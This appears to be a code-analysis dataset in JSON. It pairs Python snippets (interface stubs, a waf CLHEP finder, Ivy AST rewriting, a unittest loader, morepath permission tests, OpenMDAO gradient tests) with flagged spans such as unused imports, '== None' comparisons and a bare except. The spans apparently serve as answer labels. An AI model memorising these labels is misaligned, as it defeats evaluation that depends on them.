'ITextIsNumeric', '(', 'Interface', ')', ':', '___EOS___']", "index": 382 }, { "content": "\tdef islower():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely lowercase\"\"\"", "metadata": "root.ITextIsLower.islower", "header": "['class', 'ITextIsLower', '(', 'Interface', ')', ':', '___EOS___']", "index": 386 }, { "content": "\tdef isspace():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely whitespace\"\"\"", "metadata": "root.ITextIsSpace.isspace", "header": "['class', 'ITextIsSpace', '(', 'Interface', ')', ':', '___EOS___']", "index": 390 }, { "content": "\tdef istitle():\n\t\t\"\"\"Return whether text is entirely formatted in title case\"\"\"", "metadata": "root.ITextIsTitleCased.istitle", "header": "['class', 'ITextIsTitleCased', '(', 'Interface', ')', ':', '___EOS___']", "index": 394 }, { "content": "\tdef isupper():\n\t\t\"\"\"Return whether text is entirely formatted in upper case\"\"\"", "metadata": "root.ITextIsUpperCased.isupper", "header": "['class', 'ITextIsUpperCased', '(', 'Interface', ')', ':', '___EOS___']", "index": 398 }, { "content": "\tdef clear():\n\t\t\"\"\"Remove all subelements from this object\"\"\"", "metadata": "root.IMappingClear.clear", "header": "['class', 'IMappingClear', '(', 'Interface', ')', ':', '___EOS___']", "index": 404 }, { "content": "\tdef copy():\n\t\t\"\"\"Return a shallow copy of the mapping\"\"\"", "metadata": "root.IMappingCopy.copy", "header": "['class', 'IMappingCopy', '(', 'Interface', ')', ':', '___EOS___']", "index": 408 }, { "content": "\tdef update(other):\n\t\t\"\"\"Add all keys from other, overriding local key-value combinations\"\"\"", "metadata": "root.IMappingUpdate.update", "header": "['class', 'IMappingUpdate', '(', 'Interface', ')', ':', '___EOS___']", "index": 412 }, { "content": "\tdef get(key, default = None):\n\t\t\"\"\"Return the item for the giving key, or default\"\"\"", "metadata": "root.IMappingGet.get", "header": "['class', 'IMappingGet', '(', 'Interface', ')', ':', '___EOS___']", "index": 417 }, { "content": "\tdef popitem():\n\t\t\"\"\"Return some (key,value) pair from the dictionary, KeyError if empty\"\"\"", "metadata": "root.IMappingPopItem.popitem", "header": "['class', 'IMappingPopItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 421 }, { "content": "\tdef setdefault(key, default = None):\n\t\t\"\"\"Retrieve current value, or set default value and return that\"\"\"", "metadata": "root.IMappingSetDefault.setdefault", "header": "['class', 'IMappingSetDefault', '(', 'Interface', ')', ':', '___EOS___']", "index": 425 }, { "content": "\tdef has_key(key):\n\t\t\"\"\"Determine whether the key exists in the mapping\"\"\"", "metadata": "root.IMappingHasKey.has_key", "header": "['class', 'IMappingHasKey', '(', 'Interface', ')', ':', '___EOS___']", "index": 430 }, { "content": "\tdef items():\n\t\t\"\"\"Return all items in mapping as a (key, value) list\"\"\"", "metadata": "root.IMappingItems.items", "header": "['class', 'IMappingItems', '(', 'Interface', ')', ':', '___EOS___']", "index": 435 }, { "content": "\tdef iteritems():\n\t\t\"\"\"Return all items in mapping as a (key, value) iterable\"\"\"", "metadata": "root.IMappingIterItems.iteritems", "header": "['class', 'IMappingIterItems', '(', 'Interface', ')', ':', '___EOS___']", "index": 439 }, { "content": "\tdef keys():\n\t\t\"\"\"Return all keys in mapping as a list\"\"\"", "metadata": "root.IMappingKeys.keys", "header": "['class', 'IMappingKeys', '(', 'Interface', ')', ':', '___EOS___']", "index": 443 }, { "content": "\tdef iterkeys():\n\t\t\"\"\"Return all keys in mapping as an iterable\"\"\"", "metadata": "root.IMappingIterKeys.iterkeys", "header": "['class', 'IMappingIterKeys', '(', 'Interface', ')', ':', '___EOS___']", "index": 447 }, { "content": "\tdef values():\n\t\t\"\"\"Return all values in mapping as a list\"\"\"", "metadata": "root.IMappingValues.values", "header": "['class', 'IMappingValues', '(', 'Interface', ')', ':', '___EOS___']", "index": 451 }, { "content": "\tdef itervalues():\n\t\t\"\"\"Return all values in mapping as an iterable\"\"\"", "metadata": "root.IMappingIterValues.itervalues", "header": "['class', 'IMappingIterValues', '(', 'Interface', ')', ':', '___EOS___']", "index": 455 }, { "content": "\tdef close():\n\t\t\"\"\"flush internal buffers, close the stream, and release resources\"\"\"", "metadata": "root.IStreamClose.close", "header": "['class', 'IStreamClose', '(', 'Interface', ')', ':', '___EOS___']", "index": 465 }, { "content": "\tdef flush():\n\t\t\"\"\"Flush (write) internal buffers to the stream\"\"\"", "metadata": "root.IStreamFlush.flush", "header": "['class', 'IStreamFlush', '(', 'Interface', ')', ':', '___EOS___']", "index": 469 }, { "content": "\tdef isatty():\n\t\t\"\"\"Return Boolean representing whether is a TTY-like device\"\"\"", "metadata": "root.IStreamIsTTY.isatty", "header": "['class', 'IStreamIsTTY', '(', 'Interface', ')', ':', '___EOS___']", "index": 474 }, { "content": "\tdef read(size = None):\n\t\t\"\"\"read available bytes from stream, limit to size if specified\"\"\"", "metadata": "root.IStreamRead.read", "header": "['class', 'IStreamRead', '(', 'Interface', ')', ':', '___EOS___']", "index": 479 }, { "content": "\tdef write(string):\n\t\t\"\"\"Write the string to the stream\"\"\"", "metadata": "root.IStreamWrite.write", "header": "['class', 'IStreamWrite', '(', 'Interface', ')', ':', '___EOS___']", "index": 483 }, { "content": "\tdef readline(size = None):\n\t\t\"\"\"read a line from stream, limit bytes read to ~ size if specified\"\"\"", "metadata": "root.IStreamReadLine.readline", "header": "['class', 'IStreamReadLine', '(', 'Interface', ')', ':', '___EOS___']", "index": 488 }, { "content": "\tdef readlines(size = None):\n\t\t\"\"\"read lines from stream, limit bytes read to ~ size if specified\"\"\"", "metadata": "root.IStreamReadLines.readlines", "header": "['class', 'IStreamReadLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 492 }, { "content": "\tdef xreadlines(size = None):\n\t\t\"\"\"read lines from stream, limit bytes read to ~ size if specified\"\"\"", "metadata": "root.IStreamXReadLines.xreadlines", "header": "['class', 'IStreamXReadLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 500 }, { "content": "\tdef writelines(iterable):\n\t\t\"\"\"Iterate over the iterable writing each resulting string to stream\"\"\"", "metadata": "root.IStreamWriteLines.writelines", "header": "['class', 'IStreamWriteLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 504 }, { "content": "\tdef seek(offset, whence):\n\t\t\"\"\"seek(offset[, whence]) -> None. Move to new stream position\n\n\t\tArgument offset is a byte count. Optional argument whence defaults to\n\t\t0 (offset from start of file, offset should be >= 0); other values are 1\n\t\t(move relative to current position, positive or negative), and 2 (move\n\t\trelative to end of file, usually negative, although many platforms allow\n\t\tseeking beyond the end of a file).\n\t\t\"\"\"", "metadata": "root.IStreamSeek.seek", "header": "['class', 'IStreamSeek', '(', 'Interface', ')', ':', '___EOS___']", "index": 509 }, { "content": "\tdef tell():\n\t\t\"\"\"return current file position (integer or long)\"\"\"", "metadata": "root.IStreamTell.tell", "header": "['class', 'IStreamTell', '(', 'Interface', ')', ':', '___EOS___']", "index": 521 }, { "content": "\tdef truncate(size = None):\n\t\t\"\"\"Truncated stream to given size, or current position if not specified\"\"\"", "metadata": "root.IStreamTruncate.truncate", "header": "['class', 'IStreamTruncate', '(', 'Interface', ')', ':', '___EOS___']", "index": 529 }, { "content": "\tdef getvalue ():\n\t\t\"\"\"Retrieve the current value of the string buffer\"\"\"", "metadata": "root.IStringIOGetValue.getvalue", "header": "['class', 'IStringIOGetValue', '(', 'Interface', ')', ':', '___EOS___']", "index": 545 }, { "content": "\tdef first():\n\t\t\"\"\"return the first key in the database\"\"\"", "metadata": "root.IBSDIteration.first", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 576 }, { "content": "\tdef next(key):\n\t\t\"\"\"return the key in the database after given key\"\"\"", "metadata": "root.IBSDIteration.next", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 578 }, { "content": "\tdef last():\n\t\t\"\"\"return the last key in the database\"\"\"", "metadata": "root.IBSDIteration.last", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 580 }, { "content": "\tdef previous(key):\n\t\t\"\"\"return the key in the database before given key\"\"\"", "metadata": "root.IBSDIteration.previous", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 582 }, { "content": "\tdef sync():\n\t\t\"\"\"synchronize in-memory database with on-disk database\"\"\"", "metadata": "root.IBSDIteration.sync", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 584 }, { "content": "\tdef set_location( key ):\n\t\t\"\"\"Set cursor to item indicated by key, return (key,value)\"\"\"", "metadata": "root.IBSDIterationSetLocation.set_location", "header": "['class', 'IBSDIterationSetLocation', '(', 'IBSDIteration', ')', ':', '___EOS___']", "index": 590 }, { "content": "\tdef tostring():\n\t\t\"\"\"Convert to array of machine values and return as string\"\"\"", "metadata": "root.IArrayIOString.tostring", "header": "['class', 'IArrayIOString', '(', 'Interface', ')', ':', '___EOS___']", "index": 597 }, { "content": "\tdef fromstring( string ):\n\t\t\"\"\"Appends items from string (sequence of machine values)\"\"\"", "metadata": "root.IArrayIOString.fromstring", "header": "['class', 'IArrayIOString', '(', 'Interface', ')', ':', '___EOS___']", "index": 599 }, { "content": "\tdef tolist():\n\t\t\"\"\"Convert to list of elements\"\"\"", "metadata": "root.IArrayIOList.tolist", "header": "['class', 'IArrayIOList', '(', 'Interface', ')', ':', '___EOS___']", "index": 603 }, { "content": "\tdef fromlist( string ):\n\t\t\"\"\"Appends items from list\"\"\"", "metadata": "root.IArrayIOList.fromlist", "header": "['class', 'IArrayIOList', '(', 'Interface', ')', ':', '___EOS___']", "index": 605 }, { "content": "\tdef tofile():\n\t\t\"\"\"Write to file as array of machine values\"\"\"", "metadata": "root.IArrayIOFile.tofile", "header": "['class', 'IArrayIOFile', '(', 'Interface', ')', ':', '___EOS___']", "index": 609 }, { "content": "\tdef fromfile( string ):\n\t\t\"\"\"Appends from file/stream as array of machine values\"\"\"", "metadata": "root.IArrayIOFile.fromfile", "header": "['class', 'IArrayIOFile', '(', 'Interface', ')', ':', '___EOS___']", "index": 611 }, { "content": "\tdef byteswap( ):\n\t\t\"\"\"Byte-swap the array data\"\"\"", "metadata": "root.IArrayByteswap.byteswap", "header": "['class', 'IArrayByteswap', '(', 'Interface', ')', ':', '___EOS___']", "index": 624 } ]

[ { "span": "def __contains__( other ):", "start_line": 19, "start_column": 1, "end_line": 19, "end_column": 27 }, { "span": "def __eq__( other ):", "start_line": 27, "start_column": 1, "end_line": 27, "end_column": 21 }, { "span": "def __ne__( other ):", "start_line": 34, "start_column": 1, "end_line": 34, "end_column": 21 }, { "span": "def __getitem__( key ):", "start_line": 53, "start_column": 1, "end_line": 53, "end_column": 24 }, { "span": "def __setitem__( key, other ):", "start_line": 57, "start_column": 1, "end_line": 57, "end_column": 31 }, { "span": "def __delitem__( key ):", "start_line": 61, "start_column": 1, "end_line": 61, "end_column": 24 }, { "span": "def __len__( ):", "start_line": 66, "start_column": 1, "end_line": 66, "end_column": 16 }, { "span": "def __nonzero__( ):", "start_line": 73, "start_column": 1, "end_line": 73, "end_column": 20 }, { "span": "def __hash__( ):", "start_line": 78, "start_column": 1, "end_line": 78, "end_column": 17 }, { "span": "def __iter__():", "start_line": 83, "start_column": 1, "end_line": 83, "end_column": 16 }, { "span": "def __getstate__():", "start_line": 96, "start_column": 1, "end_line": 96, "end_column": 20 }, { "span": "def __setstate__(state):", "start_line": 100, "start_column": 1, "end_line": 100, "end_column": 25 }, { "span": "def __getinitargs__():", "start_line": 104, "start_column": 1, "end_line": 104, "end_column": 23 }, { "span": "def __copy__():", "start_line": 114, "start_column": 1, "end_line": 114, "end_column": 16 }, { "span": "def __deepcopy__(memory):", "start_line": 120, "start_column": 1, "end_line": 120, "end_column": 26 }, { "span": "def __getitem__( index ):", "start_line": 133, "start_column": 1, "end_line": 133, "end_column": 26 }, { "span": "def __setitem__( index, other ):", "start_line": 137, "start_column": 1, "end_line": 137, "end_column": 33 }, { "span": "def __delitem__( index ):", "start_line": 141, "start_column": 1, "end_line": 141, "end_column": 26 }, { "span": "def __getslice__( start, stop):", "start_line": 146, "start_column": 1, "end_line": 146, "end_column": 32 }, { "span": "def __setslice__( start, stop, other):", "start_line": 150, "start_column": 1, "end_line": 150, "end_column": 39 }, { "span": "def __delslice__( start, stop):", "start_line": 154, "start_column": 1, "end_line": 154, "end_column": 32 }, { "span": "def append( item):", "start_line": 159, "start_column": 1, "end_line": 159, "end_column": 19 }, { "span": "def count(item):", "start_line": 163, "start_column": 1, "end_line": 163, "end_column": 17 }, { "span": "def extend(other):", "start_line": 167, "start_column": 1, "end_line": 167, "end_column": 19 }, { "span": "def index(item):", "start_line": 171, "start_column": 1, "end_line": 171, "end_column": 17 }, { "span": "def insert(index, item):", "start_line": 178, "start_column": 1, "end_line": 178, "end_column": 25 }, { "span": "def remove(item):", "start_line": 185, "start_column": 1, "end_line": 185, "end_column": 18 }, { "span": "def reverse():", "start_line": 189, "start_column": 1, "end_line": 189, "end_column": 15 }, { "span": "def sort(function = None):", "start_line": 193, "start_column": 1, "end_line": 193, "end_column": 27 }, { "span": "def pop():", "start_line": 201, "start_column": 1, "end_line": 201, "end_column": 11 }, { "span": "def pop(index =-1):", "start_line": 205, "start_column": 1, "end_line": 205, "end_column": 20 }, { "span": "def __iter__():", "start_line": 211, "start_column": 1, "end_line": 211, "end_column": 16 }, { "span": "def next():", "start_line": 213, "start_column": 1, "end_line": 213, "end_column": 12 }, { "span": "def join(sequence):", "start_line": 220, "start_column": 1, "end_line": 220, "end_column": 20 }, { "span": "def split(substring, maximum=None):", "start_line": 224, "start_column": 1, "end_line": 224, "end_column": 36 }, { "span": "def replace(old, new, maximum = None):", "start_line": 228, "start_column": 1, "end_line": 228, "end_column": 39 }, { "span": "def splitlines(keepends= 0):", "start_line": 235, "start_column": 1, "end_line": 235, "end_column": 29 }, { "span": "def capitalize():", "start_line": 245, "start_column": 1, "end_line": 245, "end_column": 18 }, { "span": "def center(width):", "start_line": 249, "start_column": 1, "end_line": 249, "end_column": 19 }, { "span": "def rjust(width):", "start_line": 253, "start_column": 1, "end_line": 253, "end_column": 18 }, { "span": "def ljust(width):", "start_line": 257, "start_column": 1, "end_line": 257, "end_column": 18 }, { "span": "def zfill(width):", "start_line": 261, "start_column": 1, "end_line": 261, "end_column": 18 }, { "span": "def translate(table, toDelete=\"\"):", "start_line": 266, "start_column": 1, "end_line": 266, "end_column": 35 }, { "span": "def expandtabs( tabsize = 8 ):", "start_line": 271, "start_column": 1, "end_line": 271, "end_column": 31 }, { "span": "def upper():", "start_line": 277, "start_column": 1, "end_line": 277, "end_column": 13 }, { "span": "def lower():", "start_line": 281, "start_column": 1, "end_line": 281, "end_column": 13 }, { "span": "def swapcase():", "start_line": 285, "start_column": 1, "end_line": 285, "end_column": 16 }, { "span": "def title():", "start_line": 289, "start_column": 1, "end_line": 289, "end_column": 13 }, { "span": "def lstrip(whitespace = None):", "start_line": 295, "start_column": 1, "end_line": 295, "end_column": 31 }, { "span": "def rstrip(whitespace = None):", "start_line": 303, "start_column": 1, "end_line": 303, "end_column": 31 }, { "span": "def strip(whitespace = None):", "start_line": 311, "start_column": 1, "end_line": 311, "end_column": 30 }, { "span": "def decode(encoding = None, errors = \"strict\"):", "start_line": 320, "start_column": 1, "end_line": 320, "end_column": 48 }, { "span": "def encode(encoding = None, errors = \"strict\"):", "start_line": 330, "start_column": 1, "end_line": 330, "end_column": 48 }, { "span": "def startswith( prefix, start = 0, end = sys.maxint):", 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[ { "content": "# -*- python -*-\n\n# stdlib imports ---\nimport os\nimport os.path as osp\n\n# waf imports ---\nimport waflib.Utils\nimport waflib.Logs as msg\nfrom waflib.Configure import conf\n\n#\n_heptooldir = osp.dirname(osp.abspath(__file__))\n\n\n\n\n## EOF ##\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def options(opt):\n opt.load('hwaf-base', tooldir=_heptooldir)\n opt.add_option(\n '--with-clhep',\n default=None,\n help=\"Look for CLHEP at the given path\")\n return", "metadata": "root.options", "header": "['module', '___EOS___']", "index": 14 }, { "content": "def configure(conf):\n conf.load('hwaf-base', tooldir=_heptooldir)\n return", "metadata": "root.configure", "header": "['module', '___EOS___']", "index": 22 }, { "content": "@conf\ndef find_clhep(ctx, **kwargs):\n \n if not ctx.env.HWAF_FOUND_C_COMPILER:\n ctx.fatal('load a C compiler first')\n pass\n\n if not ctx.env.HWAF_FOUND_CXX_COMPILER:\n ctx.fatal('load a C++ compiler first')\n pass\n\n\n # find CLHEP\n clhep_cfg = \"clhep-config\"\n path_list = waflib.Utils.to_list(kwargs.get('path_list', []))\n if getattr(ctx.options, 'with_clhep', None):\n topdir = ctx.options.with_clhep\n topdir = ctx.hwaf_subst_vars(topdir)\n clhep_cfg = osp.abspath(osp.join(topdir, \"bin\", \"clhep-config\"))\n path_list.append(osp.join(topdir, \"bin\"))\n pass\n kwargs['path_list']=path_list\n \n ctx.find_program(\n clhep_cfg, \n var='CLHEP-CONFIG',\n **kwargs)\n clhep_cfg = ctx.env['CLHEP-CONFIG']\n\n ctx.check_with(\n ctx.check_cfg,\n \"clhep\",\n path=clhep_cfg,\n package=\"\",\n uselib_store=\"CLHEP\",\n args='--include --libs --ldflags',\n **kwargs)\n\n clhep_libs = '''\\\n CLHEP-Cast\n CLHEP-Evaluator\n CLHEP-Exceptions\n CLHEP-GenericFunctions\n CLHEP-Geometry\n CLHEP-Matrix\n CLHEP-Random\n CLHEP-RandomObjects\n CLHEP-RefCount\n CLHEP-Vector\n '''\n\n for lib in clhep_libs.split():\n libname = lib.strip()\n for n in ('INCLUDES',\n 'LIBPATH',\n 'LINKFLAGS'):\n k = '%s_CLHEP'%n\n ctx.env[k] = [ \n # sanitize paths\n p.replace(\"'\", \"\").replace('\"', '')\n for p in ctx.env[k] \n ]\n ctx.env['%s_%s'%(n,libname)] = ctx.env[k][:]\n # massage -lCLHEP-$(version)\n # into -lCLHEP-$(sublib)-$(version)\n ctx.env['LIB_%s'%libname] = [l.replace('CLHEP',libname)\n for l in ctx.env['LIB_CLHEP']]\n pass\n\n version = ctx.check_cxx(\n msg=\"Checking clhep version\",\n okmsg=\"ok\",\n fragment='''\\\n #include \"CLHEP/ClhepVersion.h\"\n #include <iostream>\n\n int main(int argc, char* argv[]) {\n std::cout << CLHEP::Version::String();\n return 0;\n }\n ''',\n use=\"CLHEP\",\n define_name = \"HWAF_CLHEP_VERSION\",\n define_ret = True,\n execute = True,\n mandatory=True,\n )\n ctx.start_msg(\"clhep version\")\n ctx.end_msg(version)\n\n ctx.env.CLHEP_VERSION = version\n ctx.env.HWAF_FOUND_CLHEP = 1\n return", "metadata": "root.find_clhep", "header": "['module', '___EOS___']", "index": 26 } ]

[ { "span": "import os", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 9 }, { "span": "import waflib.Logs as msg", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 25 } ]

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[ { "content": " def rewrite_atom(self,atom):\n return compose_atoms(self.pref,atom) if self.pref and (self.to_pref == None or atom.rep in self.to_pref) else atom", "metadata": "root.AstRewriteSubstPrefix.rewrite_atom", "header": "['class', 'AstRewriteSubstPrefix', '(', 'object', ')', ':', '___EOS___']", "index": 688 }, { "content": "def ast_rewrite(x,rewrite):\n if isinstance(x,str):\n return rewrite.rewrite_name(x)\n if isinstance(x,list):\n return [ast_rewrite(e,rewrite) for e in x]\n if isinstance(x,tuple):\n return tuple(ast_rewrite(e,rewrite) for e in x)\n if isinstance(x,Variable):\n return Variable(x.rep,rewrite.rewrite_name(x.sort))\n if isinstance(x,Atom) or isinstance(x,App):\n# print \"rewrite: x = {!r}, type(x.rep) = {!r}\".format(x,type(x.rep))\n atom = type(x)(rewrite.rewrite_name(x.rep),ast_rewrite(x.args,rewrite))\n copy_attributes_ast(x,atom)\n if hasattr(x,'sort'):\n atom.sort = rewrite.rewrite_name(x.sort)\n return rewrite.rewrite_atom(atom)\n if isinstance(x,Literal):\n return Literal(x.polarity,ast_rewrite(x.atom,rewrite))\n if isinstance(x,Quantifier):\n return type(x)(ast_rewrite(x.bounds,rewrite),ast_rewrite(x.args[0],rewrite))\n if hasattr(x,'rewrite'):\n return x.rewrite(rewrite)\n if isinstance(x,LabeledFormula):\n arg0 = x.args[0]\n if x.args[0] == None:\n if isinstance(rewrite,AstRewriteSubstPrefix) and rewrite.pref != None:\n arg0 = Atom(rewrite.pref,[])\n else:\n arg0 = rewrite.rewrite_atom(x.args[0])\n res = x.clone([arg0,ast_rewrite(x.args[1],rewrite)])\n return res\n if hasattr(x,'args'):\n return x.clone(ast_rewrite(x.args,rewrite)) # yikes!\n print \"wtf: {} {}\".format(x,type(x))\n assert False", "metadata": "root.ast_rewrite", "header": "['module', '___EOS___']", "index": 707 }, { "content": "def compose_atoms(pr,atom):\n if atom == None:\n return pr\n hname = compose_names(pr.rep,atom.rep)\n args = pr.args + atom.args\n res = type(atom)(hname,args)\n copy_attributes_ast(atom,res)\n return res", "metadata": "root.compose_atoms", "header": "['module', '___EOS___']", "index": 796 }, { "content": " def __exit__(self,exc_type, exc_val, exc_tb):\n if isinstance(exc_val,ivy_logic.Error):\n# assert False\n raise IvyError(self.ast,str(exc_val))\n if exc_type == IvyError and exc_val.lineno == None and hasattr(self.ast,'lineno'):\n if isinstance(self.ast.lineno,tuple):\n exc_val.filename, exc_val.lineno = self.ast.lineno\n else:\n exc_val.lineno = self.ast.lineno\n return False # don't block any exceptions", "metadata": "root.ASTContext.__exit__", "header": "['class', 'ASTContext', '(', 'object', ')', ':', '___EOS___']", "index": 830 } ]

[ { "span": "self.to_pref == None ", "start_line": 689, "start_column": 63, "end_line": 689, "end_column": 83 }, { "span": "x.args[0] == None:", "start_line": 731, "start_column": 11, "end_line": 731, "end_column": 28 }, { "span": "atom == None:", "start_line": 797, "start_column": 7, "end_line": 797, "end_column": 19 }, { "span": "exc_val.lineno == None ", "start_line": 834, "start_column": 36, "end_line": 834, "end_column": 58 } ]

[]

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[ { "content": " def _find_tests(self, start_dir, pattern):\n \"\"\"Used by discovery. Yields test suites it loads.\"\"\"\n paths = os.listdir(start_dir)\n\n for path in paths:\n full_path = os.path.join(start_dir, path)\n if os.path.isfile(full_path):\n if not VALID_MODULE_NAME.match(path):\n # valid Python identifiers only\n continue\n if not self._match_path(path, full_path, pattern):\n continue\n # if the test file matches, load it\n name = self._get_name_from_path(full_path)\n try:\n module = self._get_module_from_name(name)\n except:\n yield _make_failed_import_test(name, self.suiteClass)\n else:\n mod_file = os.path.abspath(getattr(module, '__file__', full_path))\n realpath = _jython_aware_splitext(os.path.realpath(mod_file))\n fullpath_noext = _jython_aware_splitext(os.path.realpath(full_path))\n if realpath.lower() != fullpath_noext.lower():\n module_dir = os.path.dirname(realpath)\n mod_name = _jython_aware_splitext(os.path.basename(full_path))\n expected_dir = os.path.dirname(full_path)\n msg = (\"%r module incorrectly imported from %r. Expected %r. \"\n \"Is this module globally installed?\")\n raise ImportError(msg % (mod_name, module_dir, expected_dir))\n yield self.loadTestsFromModule(module)\n elif os.path.isdir(full_path):\n if not os.path.isfile(os.path.join(full_path, '__init__.py')):\n continue\n\n load_tests = None\n tests = None\n if fnmatch(path, pattern):\n # only check load_tests if the package directory itself matches the filter\n name = self._get_name_from_path(full_path)\n package = self._get_module_from_name(name)\n load_tests = getattr(package, 'load_tests', None)\n tests = self.loadTestsFromModule(package, use_load_tests=False)\n\n if load_tests is None:\n if tests is not None:\n # tests loaded from package file\n yield tests\n # recurse into the package\n for test in self._find_tests(full_path, pattern):\n yield test\n else:\n try:\n yield load_tests(self, tests, pattern)\n except Exception as e:\n yield _make_failed_load_tests(package.__name__, e,\n self.suiteClass)", "metadata": "root.TestLoader._find_tests", "header": "['class', 'TestLoader', '(', 'object', ')', ':', '___EOS___']", "index": 245 } ]

[ { "span": "except:", "start_line": 261, "start_column": 16, "end_line": 261, "end_column": 23 } ]

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[ { "content": "def test_permission_directive_identity():\n class app(morepath.App):\n pass\n\n class Model(object):\n def __init__(self, id):\n self.id = id\n\n class Permission(object):\n pass\n\n @app.verify_identity()\n def verify_identity(identity):\n return True\n\n @app.path(model=Model, path='{id}',\n variables=lambda model: {'id': model.id})\n def get_model(id):\n return Model(id)\n\n @app.permission_rule(model=Model, permission=Permission)\n def get_permission(identity, model, permission):\n if model.id == 'foo':\n return True\n else:\n return False\n\n @app.view(model=Model, permission=Permission)\n def default(self, request):\n return \"Model: %s\" % self.id\n\n @app.identity_policy()\n class IdentityPolicy(object):\n def identify(self, request):\n return Identity('testidentity')\n\n def remember(self, response, request, identity):\n pass\n\n def forget(self, response, request):\n pass\n\n c = Client(app())\n\n response = c.get('/foo')\n assert response.body == b'Model: foo'\n response = c.get('/bar', status=403)", "metadata": "root.test_permission_directive_identity", "header": "['module', '___EOS___']", "index": 44 }, { "content": "def test_permission_directive_no_identity():\n class app(morepath.App):\n pass\n\n class Model(object):\n def __init__(self, id):\n self.id = id\n\n class Permission(object):\n pass\n\n @app.path(model=Model, path='{id}',\n variables=lambda model: {'id': model.id})\n def get_model(id):\n return Model(id)\n\n @app.permission_rule(model=Model, permission=Permission, identity=None)\n def get_permission(identity, model, permission):\n if model.id == 'foo':\n return True\n else:\n return False\n\n @app.view(model=Model, permission=Permission)\n def default(self, request):\n return \"Model: %s\" % self.id\n\n c = Client(app())\n\n response = c.get('/foo')\n assert response.body == b'Model: foo'\n response = c.get('/bar', status=403)", "metadata": "root.test_permission_directive_no_identity", "header": "['module', '___EOS___']", "index": 93 }, { "content": "def test_policy_action():\n c = Client(identity_policy.app())\n\n response = c.get('/foo')\n assert response.body == b'Model: foo'\n response = c.get('/bar', status=403)", "metadata": "root.test_policy_action", "header": "['module', '___EOS___']", "index": 127 }, { "content": "def test_cookie_identity_policy():\n class app(morepath.App):\n pass\n\n @app.path(path='{id}')\n class Model(object):\n def __init__(self, id):\n self.id = id\n\n class Permission(object):\n pass\n\n @app.permission_rule(model=Model, permission=Permission)\n def get_permission(identity, model, permission):\n return identity.userid == 'user'\n\n @app.view(model=Model, permission=Permission)\n def default(self, request):\n return \"Model: %s\" % self.id\n\n @app.view(model=Model, name='log_in')\n def log_in(self, request):\n response = Response()\n generic.remember_identity(response, request,\n Identity(userid='user',\n payload='Amazing'),\n lookup=request.lookup)\n return response\n\n @app.view(model=Model, name='log_out')\n def log_out(self, request):\n response = Response()\n generic.forget_identity(response, request, lookup=request.lookup)\n return response\n\n @app.identity_policy()\n def policy():\n return DumbCookieIdentityPolicy()\n\n @app.verify_identity()\n def verify_identity(identity):\n return True\n\n c = Client(app(), cookiejar=CookieJar())\n\n response = c.get('/foo', status=403)\n\n response = c.get('/foo/log_in')\n\n response = c.get('/foo', status=200)\n assert response.body == b'Model: foo'\n\n response = c.get('/foo/log_out')\n\n response = c.get('/foo', status=403)", "metadata": "root.test_cookie_identity_policy", "header": "['module', '___EOS___']", "index": 155 } ]

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[ { "content": " def test_bad_list_deriv_vars(self):\n top = set_as_top(Assembly())\n top.add('comp1', BadListDerivsComp())\n top.driver.workflow.add(['comp1'])\n top.comp1.x = 1.0\n top.run()\n self.assertEqual(top.comp1.y, 2.0)\n try:\n J = top.driver.calc_gradient(['comp1.x'], ['comp1.y'])\n except Exception as err:\n self.assertEqual(str(err),\n \"comp1: The return value of list_deriv_vars() was\"\n \" not a tuple of the form (invars, outvars). Value\"\n \" returned was ['x', 'y']\")", "metadata": "root.Testcase_derivatives.test_bad_list_deriv_vars", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 599 }, { "content": " def test_first_derivative(self):\n\n top = set_as_top(Assembly())\n top.add('comp', Paraboloid())\n top.add('driver', SimpleDriver())\n top.driver.workflow.add(['comp'])\n top.driver.add_parameter('comp.x', low=-1000, high=1000)\n top.driver.add_parameter('comp.y', low=-1000, high=1000)\n top.driver.add_objective('comp.f_xy')\n\n top.comp.x = 3\n top.comp.y = 5\n top.run()\n\n J = top.driver.calc_gradient(outputs=['comp.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, 0.0001)\n assert_rel_error(self, J[0, 1], 21.0, 0.0001)\n\n expected = \"\"\"\\\n------------------------\nCalculated Gradient\n------------------------\n\\[\\[ 5. 21.\\]\\]\n------------------------\nFinite Difference Comparison\n------------------------\n\\[\\[ 5.[0-9]+[ ]+21.[0-9]+\\]\\]\n\n Calculated FiniteDiff RelError[^\\n]+\n----------------------------------------------------------------------------\ncomp.f_xy / comp.x: 5.0 5.[0-9]+[ ]+[^\\n]+\ncomp.f_xy / comp.y: 21.0 21.[0-9]+[ ]+[^\\n]+\n\nAverage RelError: [^\\n]+\nMax RelError: [^ ]+ for comp.f_xy / comp.x\n\n\"\"\"\n stream = StringIO()\n top.driver.check_gradient(outputs=('comp.f_xy',), stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(outputs=['comp.f_xy'], stream=stream,\n inputs=['comp.x', 'comp.y'])\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(inputs=('comp.x', 'comp.y'), outputs=('comp.f_xy',),\n stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(name='driver', outputs=['comp.f_xy'], 